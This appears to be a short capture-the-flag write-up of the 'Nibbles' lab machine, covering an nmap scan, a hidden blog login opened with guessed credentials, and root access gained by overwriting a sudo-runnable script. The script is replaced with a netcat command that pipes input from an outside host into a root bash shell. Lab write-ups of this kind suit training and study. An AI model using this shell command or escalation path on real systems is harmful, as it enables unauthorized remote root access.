I ran an nmap scan and inspected the page source. I saw that there was a hidden extension called /nibbleblog/ with an login page. I logged in with username: admin password:nibbles after getting blacklisted a few times. I saw that there was a personal.zip file in nibbler's directory and saw that monitor.sh could execute as root user, so I replaced the contents of monitor.sh with 'nc 10.10.14.17 4444 | /bin/bash' and ran the file with sudo ./monitor.sh to get the root flag.